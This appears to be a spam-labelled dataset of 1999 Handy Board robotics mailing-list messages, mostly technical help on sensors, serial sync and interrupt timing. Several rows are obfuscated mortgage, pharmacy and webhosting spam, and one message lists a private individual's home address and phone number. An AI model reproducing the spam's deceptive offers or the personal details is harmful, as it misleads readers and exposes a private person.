few motors and sensors lying around...Does anyone know of a DSP board or some other device I could use to interface the motors and sensors to the laptop for real- time data aquistion? (I already have my handyboard performing some of the same functions on a similar project, but I'd like to put the dusty laptop to some use). Thanks. ",0,0 TH0RMAN23@aol.com,"VivekV@intellution.com, handyboard@media.mit.edu","Wed, 27 Oct 1999 19:25:20 -0400",Re: GP2D05,"I am using the GP2D02 which is also identical to the GP2D05 except that on the GP2D05 you can manually set the threshole using the built-in trimpot. I am using Barry Brouillet driver for interfacing to the Handyboard/w expansion board and it works great for me. Check out Barry's webpage at http://reality.sgi.com/barry_detroit/GP2D02_1.html for more info. Also, make sure the diode on the input line is not backward or else you wont get the proper reading and check your trimpot setting. Good Lucks. Best Regard, Rob ",0,1 TH0RMAN23@aol.com,"TH0RMAN23@aol.com, VivekV@intellution.com, handyboard@media.mit.edu","Wed, 27 Oct 1999 19:35:26 -0400",Re: GP2D05 (correction),"I apologize for the previous mail on the GP2D05 subject. The information I gave was base on my careless assumption (duhh) which was also wrong. Once again, I am sorry for any inconvenience. =o( Rob ",0,0 Chris Phillips ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 23:46:09 +0000",Re: Not necessarily the handyboard....,"In lugnet.robotics.handyboard, Dave Nagel writes: >I have an old 486 laptop and a few motors and sensors lying around...Does >anyone know of a DSP board or some other device I could use to interface the >motors and sensors to the laptop for real- time data aquistion? (I already >have my handyboard performing some of the same functions on a similar project, >but I'd like to put the dusty laptop to some use). >Thanks. I work for ComputerBoards, Inc., a company that makes high quality yet inexpensive expansion cards for Intel platforms. We have just about anything you could need for analog or digital I/O, serial communications, GPIB, and a variety of other related products. We cover ISA, PCI, PCMCIA, and a host of other busses. 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Peter In lugnet.robotics.handyboard, handyboard@media.mit.edu (Paul DaCosta) writes: >When upgrading to 64K, could that be done when still using Interactive >C? > >By the way, what's the main difference between 2.8 and 3.X versions? > >Advantanges and Disavantages!!! > >Thanks, > >Paul > > ",0,0 Jonathan Pennington ,,"Wed, 27 Oct 1999 21:53:21 -0400",Re: Not necessarily the handyboard....,"Chris Phillips wrote: > I apologize for pimping my company's wares on this forum, but I truly believe > that if you look around, you'll decide to buy from us. Our products are better > and cheaper than anyone else's, and we've got the best warranties in the > business. Of course, if you *really* felt that bad about ""pimping,"" you could've sent that privately and not to the whole list...wink, wink :-) I saw the price of your boards. One word: HOBBIEST I say to heck with the expense of boards, nearly anything you want done you can do straight through your parallel and serial ports, using a bit of cheap solder.. the time spent is really spent learning more about componants and electronics... after all, that's what we're all doing this for right? Go to the library, or the book store, and get ""Programming the Parallel Port"" by D. Gadre, or any other of the books on this subject (I'm *sure* O'Reilly's got something). Before you know it you'll have the same sensors and things you use now stuck in a breadboard and wired to your box. Just a hint for you: Use isolating circuits if you're going to do anything crazy... not that I would know what happens if you don't :-) -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Money Pit"" ---------------------------------------------------------------------------- ",0,0 Michael Miranda ,"handyboard@media.mit.edu, M M , ant randolph , anthony randolph , ""TCC."" ","Wed, 27 Oct 1999 18:56:30 -0700",speech recognition with hb,"We are attempting to incorperate a speech recognition board with the hb. We have the hb controlling an rc car. We also have the speech reconition board controlling the hb. Here is the problem, the microphone for the speech recognition kit is on the car (ie near the car motor) and the car motor noise is interfereing with the speech reconition board. When we give the forward command the car moves forward. But, the motor noise is read by the speech recognition board and gives an error signal output to the hb. This stops the car instead of what it should be doing (going forward). We want to change the on board mic to a wireless mic, thus bringing the mic away from the car and the motor. Does anybody know of or worked with such a kit?? Mike __________________________________________________ Do You Yahoo!? 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Gary Livick wrote in message <381762F1.D9E4F391@pacbell.net>... >Shaft encoders are hard to beat. If the wheels are commanded to turn and >aren't, that's a good indication that something is screwy. Plus, if you're >doing dead reckoning, you need them anyway so they are already there!",0,0 Rossiter ,handyboard@media.mit.edu,"Thu, 28 Oct 1999 22:57:03 -0500",bring down my wrinkles and sags,"the amputee some spatial see importunate try delaney , navigable ",1,0 James Schuld ,handyboard@media.mit.edu,"Fri, 29 Oct 1999 20:55:30 -0700",robotics-for education of learning and injoyment-,"10-28-99 TO WHO IT MAY CONSERN:I AM PERMENTLY DISABLED.BUT I WOULD LIKE TO LEARN HOW TO BUILD A ROBOT.ALTHOUGH I AM WORKING ON JUST THE MEDAL FRAMS FOR 3 DIFFERENT ROBOTS SHAPS TO DEZINES.ALTHOUGH I DONT HAVE ANY BLUE PRINTS ON WHAT PARTS I NEED TO GET.AND WHERE I WOULD SOLDER DIFFERENT PARTS TO COMPODENTS FOR THE ROBOT FRAMS I ALREADY DO HAVE.I ALSO DONT HAVE MUCH MONEY AT ALL TO BUY PARTS.ALTHOUGH I DO HAVE SMALL TO VERY LARGE MOTORS.FROM MOTORS FROM PRINTERS TO EVEN GURAGE DOOR OPENER MOTORS TO.AND THEY ALL WORK AS FARE AS I KNOW OF.IF THERE IS ANY WAY YOU CAN HELP ME WITH ANY PARTS FOR THE ROBOT.IT WOULD HELP ME A VERY GREAT DEAL.AND IF THERE IS KIND OF BLUE PRINT MAPS YOU CAN GET ME THAT WOULD HELP OUT TO.I ALSO HAVE A COMPUTER AND SEVERAL PEOPLE TOLD ME THERE ARE PROGRAMS THAT CAN REMOLT CONTROL THE ROBOT IM TRYING SO HARD TO MAKE OF MY OWN GOD GIVEN CREATION.THANKING YOU FOR ALL YOUR TIME.AND ANY GOOD ADVISE YOU CAN GIVE ME TO HELP ME OUT.IT WOULD BE FOR A GOOD CAUSE FOR MY OWN EDUCATION OF LEARNING MORE.AND HAVEING THE INJOYMENT OF MAKING A REAL ROBOT AROUND MY HOME.THANKING YOU FOR ALL YOUR TIME.AND MAY THE HOLY LIGHT OF GOD BE WITH YOU AND YOUR FAMILY FOR EVER.I REMAIN-JIM SCHULD MY PHONE IS 714-557-7781 MY E-MAIL IS- jcschuld@earthlink.net also my home address is-3101 s. fairview st.space-175# santa ana.calif.92704 ",0,0 Igor Diko ,handyboard@media.mit.edu,"Fri, 29 Oct 1999 14:13:57 +0000",Help needed reviving my HB,"Hi HBoarders! Can anybody help me with making my HB run? Following the instructions from the assembly manual, there were no problems until installing the memory. Before it, the serial communication worked fine with hbdl downloading the pcode, although I had to use dl.exe to change the config register value from 0x0D to 0x0C on the 68HC11A1FN. With hbdl.exe or dlm.exe, this was not possible. After installing the memory and LCD, downloading pcode is still possible, but only with hbdl or dl, dlm displays board synchronization error. The bad thing is that the LCD displays no message, only the bottom row displays full 5x7 characters. I do not think that the LCD is bad, it is new, just packed out. I will check the LCD, but I think it is OK (it is a Data Vision P 1-1113). The other thing is that the board does not want to communicate with ic.exe. IC only reports synchronizing with board. I am using a 400MHz Pentium II PC with Windows 98 installed. I really do not know where the problem is, I am trying to find it, maybe it is the memory, but the behavior of the LCD is the same, with or without memory, even without the 68HC11, only the voltage connected. If somebody had similar problems, or has an idea how to revive my HB, it would be very helpful for me! Many thanks, Igor Diko Bratislava, Slovakia ",0,0 Greg Starr ,handyboard@media.mit.edu,"Fri, 29 Oct 1999 08:30:53 -0600",Running stepper loop at specified (varying) frequency?,"I am hoping to control some stepper motors with the Handy Board; I will be wanting to control position vs time. Therefore I will be wanting to send out the step control waveforms at varying times (to modulate velocity). Can this be done from Interactive C? I am quite familiar with assembler language on the 6811, and the various timers on board. This seems similar to software-generated PWM, for which we use Output Compare. Anyway, any suggestions? Thanks. --greg ***************************************************************** * Greg Starr, Professor * * Department of Mechanical Engineering ph (505) 277-6298 * * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * ***************************************************************** ",0,1 Gary Livick ,Igor Diko ,"Fri, 29 Oct 1999 09:34:27 -0700",Re: Help needed reviving my HB,"Igor: Sounds like you have two problems, with the LCD being a separate one from the sync errors. For communicating with the board via IC.exe, try changing your port settings to 9600/8 data/no parity/1 stop/Xon/Xoff/FIFO buffers enabled. I don't have much idea what most of this means, but it works on my laptop, and I know if it isn't set this way on my machine the communications don't work. If these setting don't work, try changing the flow control and shut off the FIFO buffers. Once you can communicate, then we can get to the LCD problem if it still exists. Good luck, Gary LIvick Igor Diko wrote: > Hi HBoarders! > Can anybody help me with making my HB run? Following the instructions > from the assembly manual, there were no problems until installing the > memory. Before it, the serial communication worked fine with hbdl > downloading the pcode, although I had to use dl.exe to change the > config register value from 0x0D to 0x0C on the 68HC11A1FN. With > hbdl.exe or dlm.exe, this was not possible. After installing the > memory and LCD, downloading pcode is still possible, but only with > hbdl or dl, dlm displays board synchronization error. The bad thing is > that the LCD displays no message, only the bottom row displays full > 5x7 characters. I do not think that the LCD is bad, it is new, just > packed out. I will check the LCD, but I think it is OK (it is a Data > Vision P 1-1113). The other thing is that the board does not want to > communicate with ic.exe. IC only reports synchronizing with board. I > am using a 400MHz Pentium II PC with Windows 98 installed. > I really do not know where the problem is, I am trying to find it, > maybe it is the memory, but the behavior of the LCD is the same, with > or without memory, even without the 68HC11, only the voltage > connected. > If somebody had similar problems, or has an idea how to revive my HB, > it would be very helpful for me! > > Many thanks, > > Igor Diko > Bratislava, Slovakia ",0,0 Gary Livick ,Greg Starr ,"Fri, 29 Oct 1999 09:46:15 -0700",Re: Running stepper loop at specified (varying) frequency?,"Greg: You can run assembly from within Interactive C, so if IC isn't fast enough for you, you can build in something that is. However, IC will execute pretty quickly in terms of how fast steppers run, so it could be that IC will work for you as-is? If it won't, and you don't need to change any faster than 1000 times per second, you can inbed your assembly routine in the system interrupt which runs at 1000 Hz. This is very easy to do, and there are examples of how to do it in the IC manual in the Handy Board Technical Reference under the ""Docs"" button on the Handy Board site. I'm sure people would like to know what you are doing, so please report back on how it goes. Good luck, Gary Livick Greg Starr wrote: > I am hoping to control some stepper motors with the Handy Board; I will be > wanting to control position vs time. Therefore I will be wanting to send > out the step control waveforms at varying times (to modulate velocity). > Can this be done from Interactive C? I am quite familiar with assembler > language on the 6811, and the various timers on board. > > This seems similar to software-generated PWM, for which we use Output Compare. > > Anyway, any suggestions? Thanks. > > --greg > > ***************************************************************** > * Greg Starr, Professor * > * Department of Mechanical Engineering ph (505) 277-6298 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > ***************************************************************** ",0,1 Jesus Miguel Recuenco Ezquerra ,handy board ,"Tue, 29 Oct 2019 22:53:50 +0100",Starting IC with wizard,"Hi I am running the IR test program from Max Davies. To do this I need to start IC with thw wizard option. As I have a macintosh, there is a wizard option for the mac version of IC? Jesus ",0,0 webspace2@eastmail.com,websites@gte.net,"Thu, 23 Sep 1999 14:50:10 +0900",[9fans] Webhosting Only $15.95! Limited Time Offer!!," WEB-SITE HOSTING ONLY $15.95 Per Month!!! Save over 35%!! ACT NOW TO TAKE ADVANTAGE OF OUR NO SETUP FEE! Regularaly $50! THIS OFFER GOOD UNTIL SEPTEMBER 27th. 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If you have been offended by this message in any way, PLEASE mail to: kjnan@theheadoffice.com or go to our website and be removed right at our site! ",1,0 eacmen@att.net,JMRECU@teleline.es,"Sat, 30 Oct 1999 00:17:16 +0000",Re: Starting IC with wizard,"I am not familiar with the ""wizard"" option. Please elaborate -p -- A healthy mind is an oxymoron! > Hi > > I am running the IR test program from Max Davies. To do this I > need to start > IC with thw wizard option. As I have a macintosh, there is a wizard option for > the mac version of IC? > > Jesus ",0,0 Igor Diko ,handyboard@media.mit.edu,"Sat, 30 Oct 1999 07:00:35 +0000",Re: Help needed reviving my HB,"On Fri, 29 Oct 1999 16:34:27 GMT, in lugnet.robotics.handyboard you wrote: >Igor: > >Sounds like you have two problems, with the LCD being a separate one from >the sync errors. > >For communicating with the board via IC.exe, try changing your port >settings to 9600/8 data/no parity/1 stop/Xon/Xoff/FIFO buffers enabled. These are exactly the same settings that I have, so that is not the problem. Igor ",0,0 Tino Pocorobba ,handyboard@media.mit.edu,"Sat, 30 Oct 1999 12:29:27 +0000",simoultaneosly driving stepper motors,"Hi, All My name is Pocorobba Tino.I'm 33 y old and I live in Sicily (Italy). I bought a copy of ""Mobile Robots:inspiration to implementation"" and I studied it deeply. I've now some problems and I hope that somebody will help me!!! I'd like to construct a robot arm with six step motors and to make this the motors have to be driven simoultaneously. I started writing a IC-program that move only one motor: int abs(int arg) { if (arg< 0) return (-arg); else return arg;} void move1(int step1, long delay1) { int i; if (step1>0) poke(0x5000,0b00000001); else poke(0x5000,0b00000000); for(i=0;i,handyboard@media.mit.edu,"Sat, 30 Oct 1999 14:45:24 +0000",Re: Help needed reviving my HB,"Hi! I just got my HB with the I/O-expansion card and the start-up was not as straightforward as I have thought. I don't know if this will help you but ... I'm using a Toshiba laptop with Win98 and found that in order to get the serial communication to work I have to run first the HBDL (although it won't download anything) and after that I can use the DL and/or IC programs. The version of the IC is something 2.81 and it isn't really Win98 compatible. Whole computer will hang after 10 to 15 minutes. Anyway I gonna order the latest (3.2) version of the IC. Is there somewhere any comparisons between the IC 3.x and the ImageCraft C (ICC11 V5)? -- et Igor Diko wrote in message news:jKsZOBi9woUhbuq1ouOqfTAvKtOJ@4ax.com... Hi HBoarders! Can anybody help me with making my HB run? Following the instructions from the assembly manual, there were no problems until installing the memory. Before it, the serial communication worked fine with hbdl downloading the pcode, although I had to use dl.exe to change the config register value from 0x0D to 0x0C on the 68HC11A1FN. With hbdl.exe or dlm.exe, this was not possible. After installing the memory and LCD, downloading pcode is still possible, but only with hbdl or dl, dlm displays board synchronization error. The bad thing is that the LCD displays no message, only the bottom row displays full 5x7 characters. I do not think that the LCD is bad, it is new, just packed out. I will check the LCD, but I think it is OK (it is a Data Vision P 1-1113). The other thing is that the board does not want to communicate with ic.exe. IC only reports synchronizing with board. I am using a 400MHz Pentium II PC with Windows 98 installed. I really do not know where the problem is, I am trying to find it, maybe it is the memory, but the behavior of the LCD is the same, with or without memory, even without the 68HC11, only the voltage connected. If somebody had similar problems, or has an idea how to revive my HB, it would be very helpful for me! Many thanks, Igor Diko Bratislava, Slovakia",0,0 Nyree Lundblad ,ggilfoyl@facstaff.richmond.edu,"Sat, 30 Oct 1999 06:37:51 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! If you OW a N real e u st f at p e and want I r MME w DIAT o E ca f sh to s h pen d d ANY way you like, or simply wish to L k OWER your monthly pa r yment i s by a third or more, here are the deal h s we have T f OD c AY : $ 48 v 8 , 000 at a 3 , 6 g 7% f q ixed - rat d e $ 3 r 72 , 000 at a 3 d , 90% va m riab t le - rat m e $ 4 i 92 , 000 at a 3 e , 21% int z eres i t - only $ 24 e 8 , 000 at a 3 , r 36% f h ixed - rat m e $ 1 c 98 , 000 at a 3 v , 55% vari v able - ra v te Hurr l y, when these deaI k s are gone, they are gone ! Don't worry about ap i prov g al, your c z red u it will not d k isqu e alify you ! Vi o si q t our s s ite Sincerely, Nyree Lundblad Ap g prov n al Manager",1,1 Chip Henkel ,"Gary Livick , handy board ","Sat, 30 Oct 1999 15:41:37 -0400",Wheels,"Hey Gary, Thank you so much for the wheels. They are grade ""A"", better than I expected! They arrived yesterday and unfortunately I have to head for Puerto-Rico tomorrow for about a weeks worth of work. I am also posting this in the newsgroup for the following reasons: I ordered a set of wheels for my Robot recently.... 1. Superior quality of products. This is the second item I have received from Gary Livick. Each time he has been prompt and very willing to follow up with inquiries. He always offers helpful hints and sometimes even the program code. 2. When I received my wheels and my motor driver board, he had provided more than what I expected. This made my project much easier. His documentation is outstanding. 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Maja"" wrote: > It works of course, but you have to include also some libraries which can > only be found for Sun's platform. You can try to read the README file > which comes along with linux. I also have downloaded the libraries for Sun, and I did everything that the readme file saids but the only output that I have is: ""bash: ./ic: cannot execute binary file"" With the ""dl"" and the ""mon"" I have the same output: bash: ./dl: cannot execute binary file bash: ./mon: cannot execute binary file I have downloaded the source code for the ic 2.86 but I can't compile as quick as I have imagine. I think I must to make some changes in the MakeFile to compile. > And I think you don;t need the 3.1 version of IC as 2.86 is already > sufficient to do simple to immediate robotics problem. I think the same, may be I'm doing some thing wrong. But the the version 3.1 runs well, the only problem is that it ask me for the registration key. The ""dl"" and ""mon"" that comes wiht 3.1 tgz file also run well. Thanks, Filipi -- _______________________________________________________ Filipi Damasceno Vianna Depto. de Engenharia Mecanica & Mecatronica Pontificia Universidade Catolica do Rio Grande do Sul Porto Alergre - RS",0,0 Filipi Damasceno Vianna ,Handy Board Mailing list ,"Sun, 31 Oct 1999 23:24:20 -0200",Does ic 3.1 really works properly?,"I downloaded the ic 2.860 for linux, but I can't execute the binary. I downloaded the ic_linux_3.1 and when I run the dl program or ic and quit I dont't have my prompt, i. e., I can't see what I type. I use linux, and I want to run ic with my handy board, if I pay for the 3.1 version, does it realy work? Why my 2.8 version doesn't work? Is there a free version of ic for linux? regards, Filipi -- _______________________________________________________ Filipi Damasceno Vianna Depto. de Engenharia Mecanica & Mecatronica Pontificia Universidade Catolica do Rio Grande do Sul Porto Alergre - RS",0,0 Greg Starr ,handyboard@media.mit.edu,"Mon, 01 Nov 1999 08:19:25 -0700",Time available during 1 kHz system interrupt?,"Does anyone know the approximate amount of time available for user assembler programs which ""add on"" to the existing 1 kHz HB interrupt? Another way of stating that is...how much time is used by the 1kHz HB ISR code? --greg ***************************************************************** * Greg Starr, Professor * * Department of Mechanical Engineering ph (505) 277-6298 * * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * ***************************************************************** ",0,1 Jordaan Ballow ,handyboard@media.mit.edu,"Sun, 31 Oct 1999 14:24:31 -0700",Re: your CtaALlS,"Hi Look, this information might be pretty interesting for you L V P V C X A e A r I I a m v L o A A n b i I z G L a i t U a R I x e ra M c A S n http://www.hasoretana.com passed, if they had still had their ponies, and beyond that a track led to the skirts of the wood and to the entrance of the old forest road. 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Good Luck, Gary Livick Greg Starr wrote: > Does anyone know the approximate amount of time available for user > assembler programs which ""add on"" to the existing 1 kHz HB interrupt? > > Another way of stating that is...how much time is used by the 1kHz HB ISR code? > > --greg > > ***************************************************************** > * Greg Starr, Professor * > * Department of Mechanical Engineering ph (505) 277-6298 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > ***************************************************************** ",0,1 """Curt Mills, WE7U"" ",filipi@technologist.com,"Mon, 01 Nov 1999 10:06:47 -0800",Re: Does ic 3.1 really works properly?,"On Sun, 31 Oct 1999, Filipi Damasceno Vianna wrote: > Is there a free version of ic for linux? Looks like it's time for my advertisement: Download HC11 patches for the GCC-2.8.1 compiler from my web page: www.eskimo.com/~archer or from ftp.eskimo.com/u/a/archer. They're GPL'ed, so they're free. Also on my home page is a link to the gcc-2.95 HC11 patches. On my ftp site you can also download a Handyboard library for gcc-2.8.1, but it doesn't include the expansion board stuff ('cuz I don't have one of those, so I didn't write code for it). I do all of my development on Linux. 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Various features of the HB can be turned on and off to change the amount of work done in the main ISR. By default the code uses 300ms to execute. The file lib_hb.c provides the following: /********************************/ /*** System Interrupt Control ***/ /********************************/ /* These functions allow you to turn on and off various features controlled by the system interrupt routines. The more features you turn off, the faster your code will run. On reset, the features have the following state: pulse width modulation ON infrared decoding ON LCD printing ON quad shaft decoding OFF IR tranmission OFF This uses approx. 30% of total CPU time. Approximate benchmarks: x Feature % of CPU ------- -------- PWM 3 IR decode 11 LCD printing (active) 8 LCD printing (inactive) 1 quad shaft decode 5 IR transmission 1 */ -chris prosser ----- Original Message ----- From: Greg Starr To: Sent: Monday, November 01, 1999 7:19 AM Subject: Time available during 1 kHz system interrupt? > Does anyone know the approximate amount of time available for user > assembler programs which ""add on"" to the existing 1 kHz HB interrupt? > > Another way of stating that is...how much time is used by the 1kHz HB ISR code? > > --greg > > ***************************************************************** > * Greg Starr, Professor * > * Department of Mechanical Engineering ph (505) 277-6298 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > ***************************************************************** > >",0,1 Edward Delaney ,handyboard@media.mit.edu,"Mon, 01 Nov 1999 21:44:24 -0500",Re: Help needed reviving my HB,"Hi Everybody, Ensio, I'm having a very similyar problem, but with an interesting twist! Check this out! I still don't have any idea what is going on here... None of these have expansion cards. I have 5 HB's from when this robotics class was taught 2 years ago. 2 of them do not work, 3 do. The two that don't work apparently worked at some point, but will no longer download, will not synch. We purchased 2 kits, and got stopped at the exact same place you did, after we put in the memory we could download IC without errors, but the HB's will not boot it. So, in desperation, we purchased 2 brand spankin' new pre assembled boards. Neither of these two will download at all. I see the green light on the charger unit flash, but nada from the HB. I use the charger/communications unit that came with them. If I use the windows DL program, it just says the board is not ready or the port is wrong. I took the cables and chargers from the working boards and used them on one of the new ones. Nothing. I thought maybe my 200mhz Nec laptop was too fast so I used on of the old Macs that we're using successfully in the labs, still nothing. The only thing I can think at this point is that all HB are not created equal. Any ideas? thanks, ed ----------------------------------------------------------------- Ed Delaney edelaney@sctcorp.com (work) or edwardd@earlham.edu (everthing else) http://www.earlham.edu/~edwardd ",0,1 Hui Pak Ki Partick ,Edward Delaney ,"Tue, 02 Nov 1999 11:59:45 +0800",Re: Help needed reviving my HB,"Hello Edward and everyone, There are several causes that the Handyboard won't boot. 1) 62256 SRAM was dea 2) 74HC244 was dead 3) The Handyboard cannot put into bootstrap mode You can try to do the followings: Removes all the ICs on Handyboard except 74HC132 and 62250SRAM, put the LCD on the board. Set the board into bootstrap mode and download the Pcode and see if the board boots. During the Pcode downloading, the GREEN LEDs on both Serial/Charger board and Handyboard main board will be flashing. After couple seconds, the GREEN LED on Handyboard main board will stay on while the GREEN LEDs on Serial/Charger board still keeps flashing. If failed, some components may be damaged, and you may need to return the board back to us for repair. Thanks and Best Regards, Patrick Hui Robot Store (HK) http://www.robotstorehk.com On Mon, 1 Nov 1999, Edward Delaney wrote: > Hi Everybody, > Ensio, I'm having a very similyar problem, but with an interesting twist! > Check this out! I still don't have any idea what is going on here... > None of these have expansion cards. > > I have 5 HB's from when this robotics class was taught 2 years ago. 2 of them > do not work, 3 do. The two that don't work apparently worked at some > point, but will no longer download, will not synch. > > We purchased 2 kits, and got stopped at the exact same place you did, > after we put in the memory we could download IC without errors, but > the HB's will not boot it. > > So, in desperation, we purchased 2 brand spankin' new pre assembled > boards. Neither of these two will download at all. I see the green > light on the charger unit flash, but nada from the HB. > I use the charger/communications unit that came with them. > If I use the windows DL program, it just says the board is not ready > or the port is wrong. > I took the cables and chargers from the working boards and used > them on one of the new ones. Nothing. I thought maybe my 200mhz > Nec laptop was too fast so I used on of the old Macs that we're using > successfully in the labs, still nothing. > > The only thing I can think at this point is that all HB are not created > equal. > > Any ideas? > thanks, > ed > > ----------------------------------------------------------------- > Ed Delaney edelaney@sctcorp.com (work) > or edwardd@earlham.edu (everthing else) > http://www.earlham.edu/~edwardd > > > ",0,1 Hui Pak Ki Partick ,Edward Delaney ,"Tue, 02 Nov 1999 14:46:00 +0800",Re: Help needed reviving my HB," Hello, Sorry, I made a mistake. ""74HC244 was dead"" should be read as ""74HC373 was dead"" This is the one soldered on the board directly without socket. It is located underneath the SRAM. Removing all ICs except 74HC132, 62256 SRAM, and MC68HC11 CPU and download the Pcode to test it. Sorry again. Patrick Hui Robot Store (HK) http://www.robotstorehk.com On Tue, 2 Nov 1999, Hui Pak Ki Partick wrote: > Hello Edward and everyone, > > There are several causes that the Handyboard won't boot. > > 1) 62256 SRAM was dea > 2) 74HC244 was dead > 3) The Handyboard cannot put into bootstrap mode > > You can try to do the followings: > > Removes all the ICs on Handyboard except 74HC132 and 62250SRAM, put the > LCD on the board. Set the board into bootstrap mode and download the Pcode > and see if the board boots. > > During the Pcode downloading, the GREEN LEDs on both Serial/Charger board > and Handyboard main board will be flashing. After couple seconds, the > GREEN LED on Handyboard main board will stay on while the GREEN LEDs on > Serial/Charger board still keeps flashing. > > If failed, some components may be damaged, and you may need to return the > board back to us for repair. > > Thanks and Best Regards, > > Patrick Hui > Robot Store (HK) > http://www.robotstorehk.com > > > On Mon, 1 Nov 1999, Edward Delaney wrote: > > > Hi Everybody, > > Ensio, I'm having a very similyar problem, but with an interesting twist! > > Check this out! I still don't have any idea what is going on here... > > None of these have expansion cards. > > > > I have 5 HB's from when this robotics class was taught 2 years ago. 2 of them > > do not work, 3 do. The two that don't work apparently worked at some > > point, but will no longer download, will not synch. > > > > We purchased 2 kits, and got stopped at the exact same place you did, > > after we put in the memory we could download IC without errors, but > > the HB's will not boot it. > > > > So, in desperation, we purchased 2 brand spankin' new pre assembled > > boards. Neither of these two will download at all. I see the green > > light on the charger unit flash, but nada from the HB. > > I use the charger/communications unit that came with them. > > If I use the windows DL program, it just says the board is not ready > > or the port is wrong. > > I took the cables and chargers from the working boards and used > > them on one of the new ones. Nothing. I thought maybe my 200mhz > > Nec laptop was too fast so I used on of the old Macs that we're using > > successfully in the labs, still nothing. > > > > The only thing I can think at this point is that all HB are not created > > equal. > > > > Any ideas? > > thanks, > > ed > > > > ----------------------------------------------------------------- > > Ed Delaney edelaney@sctcorp.com (work) > > or edwardd@earlham.edu (everthing else) > > http://www.earlham.edu/~edwardd > > > > > > > > > ",0,1 Juana cuqej ,handyboard@media.mit.edu,"Tue, 02 Nov 1999 06:08:26 +0000",dreading bills?,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. 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The only thing I noticed is that the PWM routines don't always calculate their next transition correctly but i figure that there are plenty of other things that are going on that I'm not watching (and that may eventually bite me). Chris: How do you turn off the things like IR and quad shaft decoding to get rid of the little overhead. ---------- > From: Christopher Prosser > To: Greg Starr ; handyboard@media.mit.edu > Subject: Re: Time available during 1 kHz system interrupt? > Date: Monday, November 01, 1999 8:48 PM > > Hi Greg, > It all depends. Various features of the HB can be turned on and off to > change the amount of work done in the main ISR. By default the code uses > 300ms to execute. The file lib_hb.c provides the following: > > /********************************/ > /*** System Interrupt Control ***/ > /********************************/ > > /* > > These functions allow you to turn on and off various features > controlled by the system interrupt routines. The more features > you turn off, the faster your code will run. > > On reset, the features have the following state: > pulse width modulation ON > infrared decoding ON > LCD printing ON > quad shaft decoding OFF > IR tranmission OFF > > This uses approx. 30% of total CPU time. > > Approximate benchmarks: > > x Feature % of CPU > ------- -------- > PWM 3 > IR decode 11 > LCD printing (active) 8 > LCD printing (inactive) 1 > quad shaft decode 5 > IR transmission 1 > > */ > > > > -chris prosser > > > ----- Original Message ----- > From: Greg Starr > To: > Sent: Monday, November 01, 1999 7:19 AM > Subject: Time available during 1 kHz system interrupt? > > > > Does anyone know the approximate amount of time available for user > > assembler programs which ""add on"" to the existing 1 kHz HB interrupt? > > > > Another way of stating that is...how much time is used by the 1kHz HB ISR > code? > > > > --greg > > > > ***************************************************************** > > * Greg Starr, Professor * > > * Department of Mechanical Engineering ph (505) 277-6298 * > > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > > ***************************************************************** > > > >",0,1 Chuck McManis ,"Bruce Moore , handyboard@media.mit.edu","Tue, 02 Nov 1999 09:18:40 -0800",Re: Time available during 1 kHz system interrupt?,"At 07:47 AM 11/2/99 -0500, Bruce Moore wrote: >Interesting discussion but it raises a few more questions. > >Are there any (bad) side effects when user code that is inserted in the ISR >takes longer to execute than the 1 msec interrupt cycle. Mostly PWM will get jerkier. If you sit to long in there and the motors happen to be 'on' then you can go faster than you would like :-) You also ""lose time"" in the sense that msleep is no longer accurate so there are issues with tasks that are waiting a set number of milleseconds to execute. In general, if you are taking too much time in the ISR then either: 1) You need a faster processor 2) You need to re-evalutate what you need to do at ""interrupt time"" vs ""user time"" --Chuck ",0,0 Christopher Prosser ,"Bruce Moore , handyboard@media.mit.edu","Tue, 02 Nov 1999 09:15:37 -0800",Re: Time available during 1 kHz system interrupt?,"The controls are spread across a couple of files, mainly in libhb.c we get /* pulse width modulation control: if off, all motors run at full speed if on, speed bytes are used to determine motor speed */ void system_pwm_on() {bit_set(0x39, 0b00000100);} void system_pwm_off() {bit_clear(0x39, 0b00000100);} /* printing to the LCD WARNING: printf's will wedge once the print buffer becomes full if system printing is disabled */ void system_print_on() {bit_set(0x39, 0b00000001);} void system_print_off() {bit_clear(0x39, 0b00000001);} in r22_ir.c void ir_transmit_on(); void ir_transmit_off(); void ir_receive_off(); void ir_receive_on(); encoders.c enables and disables encodes. Note: I'm not sure if these completely disable the code at the asm level. In regards to what happens if you exceed 1ms, the pcode.asm has the following comment: System interrupt performs the following tasks: * * 0. sets up for next interrupt * 1. increment system time * 2. decrement ""process_ticks"". If zero, pokes * BRN (branch never) into pcode_run loop, so that * current process exits. * 3. deals with LCD print. * 4. does PWM stuff. * 5. does shaft encoder stuff. A quick read of pcode.asm dictates that memory location 0x39 is a set of bit flags for all the functions you can control. bit_clear(0x39, 0x00) will turn everything off. Here are the bit definitions PRINTBUFFER EQU %00000001 IRDECODE EQU %00000010 PWM EQU %00000100 SHAFTENCODER EQU %00001000 -chris ----- Original Message ----- From: Bruce Moore To: Sent: Tuesday, November 02, 1999 4:47 AM Subject: Re: Time available during 1 kHz system interrupt? > Interesting discussion but it raises a few more questions. > > Are there any (bad) side effects when user code that is inserted in the ISR > takes longer to execute than the 1 msec interrupt cycle. From experience > it appears that the ISR runs on the next interrupt following the completion > of the current cycle. The only thing I noticed is that the PWM routines > don't always calculate their next transition correctly but i figure that > there are plenty of other things that are going on that I'm not watching > (and that may eventually bite me). > > Chris: How do you turn off the things like IR and quad shaft decoding to > get rid of the little overhead. > > > ---------- > > 